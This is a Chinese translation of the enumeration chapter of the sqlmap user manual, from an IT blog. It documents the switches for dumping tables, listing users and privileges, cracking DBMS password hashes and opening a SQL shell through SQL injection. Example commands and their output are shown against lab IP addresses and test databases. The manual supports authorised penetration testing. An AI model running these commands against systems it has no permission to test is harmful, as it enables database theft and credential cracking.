用法-列举-sqlmap用户手册-测试-IT技术博客

列举


这些选项可用于枚举表中包含的后端数据库管理系统信息,结构和数据。 此外,您可以运行自己的SQL语句。


全部检索

开关:--all


此开关可用于用户希望通过使用单个开关来检索可远程访问的所有内容的情况。 不建议这样做,因为它会生成大量检索有用和无用数据的请求。


旗帜

开关:-b或--banner


大多数现代数据库管理系统都具有函数和/或环境变量,该函数和/或环境变量返回数据库管理系统的版本,并最终在其补丁程序级别(基础系统)中进行详细说明。 通常,函数为version(),环境变量为@@ version,但这取决于目标DBMS。


针对Oracle目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

会话用户

开关:--current-user


通过此开关,可以检索数据库管理系统的用户,该用户正在有效地从Web应用程序对后端DBMS执行查询。


当前数据库

开关:--current-db


使用此开关,可以检索Web应用程序连接到的数据库管理系统的数据库名称。


服务器主机名

开关:--hostname


通过此开关,可以检索数据库管理系统的主机名。


针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname
[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

检测会话用户是否是数据库管理员

开关:--is-dba


可以检测当前的数据库管理系统会话用户是否是数据库管理员,也称为DBA。 如果是,则sqlmap将返回True,反之则为False。


列出数据库管理系统用户

开关:--users


当会话用户具有对包含有关DBMS用户信息的系统表的读取访问权限时,可以枚举用户列表。


列出并破解数据库管理系统用户的密码哈希

开关:--passwords


当会话用户具有对包含DBMS用户密码信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的密码哈希。 sqlmap将首先枚举用户,然后为每个用户枚举不同的密码哈希。


针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

sqlmap不仅枚举了DBMS用户及其密码,而且还识别了哈希格式为PostgreSQL,询问用户是否针对字典文件测试哈希,并确定了postgres用户的明文密码,即通常是一个DBA,以及其他用户,testuser和密码。


此功能已为所有DBMS实施,可以枚举用户的密码哈希,包括Oracle和Microsoft SQL Server 2005之前和之后的版本。


您还可以提供选项-U来指定要枚举的特定用户,并最终破解密码哈希。如果您提供CU作为用户名,它将视为当前用户的别名,并将检索该用户的密码哈希。


列出数据库管理系统用户权限

开关:--privileges


当会话用户具有对包含DBMS用户信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的特权。通过特权,sqlmap还将向您显示哪些是数据库管理员。


您还可以提供选项-U来指定要枚举特权的用户。


如果您提供CU作为用户名,它将被视为当前用户的别名,并枚举该用户的特权。


在Microsoft SQL Server上,此功能将向您显示每个用户是否是数据库管理员,而不是所有用户的特权列表。


列出数据库管理系统用户角色

Switch: --roles


当会话用户具有对包含DBMS用户信息的系统表的读取访问权限时,可以枚举每个数据库管理系统用户的角色。


您还可以提供选项-U来指定要枚举特权的用户。


如果您提供CU作为用户名,它将被视为当前用户的别名,并枚举该用户的特权。


仅当DBMS是Oracle时,此功能才可用。


列出数据库管理系统的数据库

开关:--dbs


当会话用户对包含有关可用数据库信息的系统表具有读取权限时,可以枚举数据库列表。


枚举数据库表

开关和选项:--tables,--exclude-sysdbs和-D


当会话用户具有对包含有关数据库表信息的系统表的读取访问权限时,可以枚举特定数据库管理系统数据库的表列表。


如果没有为特定的数据库提供选项-D,则sqlmap将枚举所有DBMS数据库的表。


您还可以提供--exclude-sysdbs开关以排除所有系统数据库。


请注意,在Oracle上,您必须提供TABLESPACE_NAME而不是数据库名称。


枚举数据库表列

开关和选项:--columns, -C, -T and -D


当会话用户具有对包含有关数据库表信息的系统表的读取访问权限时,可以枚举特定数据库表的列列表。 sqlmap还枚举每列的数据类型。


此功能取决于选项-T来指定表名,并且取决于选项-D来指定数据库名。如果未指定数据库名称,则使用当前数据库名称。您还可以提供-C选项来指定表列名称,就像您要枚举的名称一样。


针对SQLite目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type   |
+---------+---------+
| id    | INTEGER |
| name   | TEXT   |
| surname | TEXT   |
+---------+---------+

请注意,在PostgreSQL上,您必须提供public或系统数据库的名称。 这是因为不可能枚举其他数据库表,只能枚举Web应用程序用户所连接的模式下的表,这些表始终由public别名。


枚举数据库管理系统架构

开关:--schema和--exclude-sysdbs


用户可以使用此开关检索DBMS模式。 模式清单将包含所有数据库,表和列,以及它们各自的类型。 与--exclude-sysdbs结合使用时,仅检索和显示包含非系统数据库的部分架构。


针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column    | Type   |
+-------------+---------+
| cid      | int(11) |
| mysignature | text   |
| password   | text   |
| username  | text   |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

检索表的条目数

开关:-count


如果用户在转储所需条目之前只想知道表中的条目数,则可以使用此开关。


针对Microsoft SQL Server目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

转储数据库表条目

开关和选项:--dump,-C,-T,-D,-start,-stop,-first,-last,-pivot-column和--where


当会话用户具有对特定数据库表的读取访问权限时,可以转储表条目。


此功能取决于选项-T来指定表名,并且取决于选项-D来指定数据库名。 如果提供了表名,但未提供数据库名,则使用当前数据库名。


针对Firebird目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此开关还可用于转储所提供数据库的所有表条目。您只需为sqlmap提供开关--dump以及仅提供选项-D(无-T和无-C)即可。


您还可以使用-C选项提供要转储的特定列的逗号分隔列表。


sqlmap还为每个转储的表生成CSV格式文本文件中的条目。您可以通过提供大于或等于1的详细级别来查看sqlmap创建文件的绝对路径。


如果只想转储一系列条目,则可以提供--start和/或--stop选项以分别从某个条目开始转储并在某个条目处停止转储。例如,如果只想转储第一个条目,请在命令行中提供--stop 1。反之亦然,例如,如果您只想转储第二和第三项,请提供--start 1 --stop 3。


也可以使用--first和--last选项指定要转储的单个字符或字符范围。例如,如果要转储第三个字符到第五个字符的列条目,请提供--first 3 --last5。此功能仅适用于盲SQL注入技术,因为基于错误的查询和UNION查询SQL注入技术无论要转储的列条目输出的长度如何,请求的数量都完全相同。


有时(例如对于Microsoft SQL Server,Sybase和SAP MaxDB),由于缺乏相似性,因此无法通过使用OFFSET m,n机制直接转储表行。在这种情况下,sqlmap通过确定最合适的数据透视列(具有最大唯一值的列)来转储内容,该数据透视表的值随后将用于检索其他列值。如果由于自动选择的枢轴列不合适而必须强制使用特定的枢轴列(例如,由于缺少表转储结果),则可以使用--pivot-column选项(例如--pivot-column = id)。


如果要将转储限制为特定的列值(或范围),可以使用--where选项。提供的逻辑操作将在WHERE子句中自动使用。例如,如果使用--where =“ id> 3”,则仅将检索列ID值大于3的表行(通过将WHERE id> 3附加到使用的转储查询中)。


正如您可能已经注意到的那样,sqlmap非常灵活:您可以保留它来自动转储整个数据库表,或者可以非常精确地确定要转储的字符,列的列数和范围。


转储所有数据库表条目

开关:--dump-all和--exclude-sysdbs


会话用户具有读取访问权限时,可以一次转储所有数据库表条目。


您还可以提供--exclude-sysdbs开关以排除所有系统数据库。在这种情况下,sqlmap将仅转储用户数据库表的条目。


请注意,在Microsoft SQL Server上,主数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。


搜索列,表或数据库

开关和选项:--search,-C,-T,-D


此开关允许您搜索特定的数据库名称,所有数据库中的特定表或所有数据库表中的特定列。


例如,这对于识别包含自定义应用程序凭据的表很有用,其中相关列的名称包含诸如name和pass之类的字符串。


Switch --search需要与以下支持选项之一结合使用:


-C后跟逗号分隔的列名列表,以在整个数据库管理系统中查找。

-T后跟一个逗号分隔的表名列表,以在整个数据库管理系统中查找。

-D后跟一个逗号分隔的数据库名称列表,以在整个数据库管理系统中查找。

运行自定义SQL语句

选项和开关:--sql-query和--sql-shell


SQL查询和SQL Shell功能允许在数据库管理系统上运行任意SQL语句。 sqlmap自动剖析所提供的语句,确定哪种技术适合用于注入它,以及如何相应地打包SQL有效负载。


如果查询是SELECT语句,则sqlmap将检索其输出。否则,如果Web应用程序在后端数据库管理系统上支持多个语句,它将通过堆栈查询SQL注入技术执行查询。请注意,某些Web应用程序技术不支持特定数据库管理系统上的堆叠查询。例如,当后端DBMS是MySQL时,PHP不支持堆栈查询,但是当后端DBMS是PostgreSQL时,PHP支持。


针对Microsoft SQL Server 2000目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

如您所见,sqlmap将提供的查询分为两个不同的SELECT语句,然后为每个单独的查询检索输出。


如果提供的查询是SELECT语句并包含FROM子句,则sqlmap将询问您该语句是否可以返回多个条目。 在那种情况下,该工具知道如何正确地解开查询以对可能的条目数进行计数并检索其输出,即每个条目的条目。


SQL Shell选项允许您交互地运行自己的SQL语句,就像连接到数据库管理系统的SQL控制台一样。 此功能还提供了TAB完成和历史记录支持。


标签: sqlmap教程sqlmapsqlmap手册用户手册sqlmap用户手册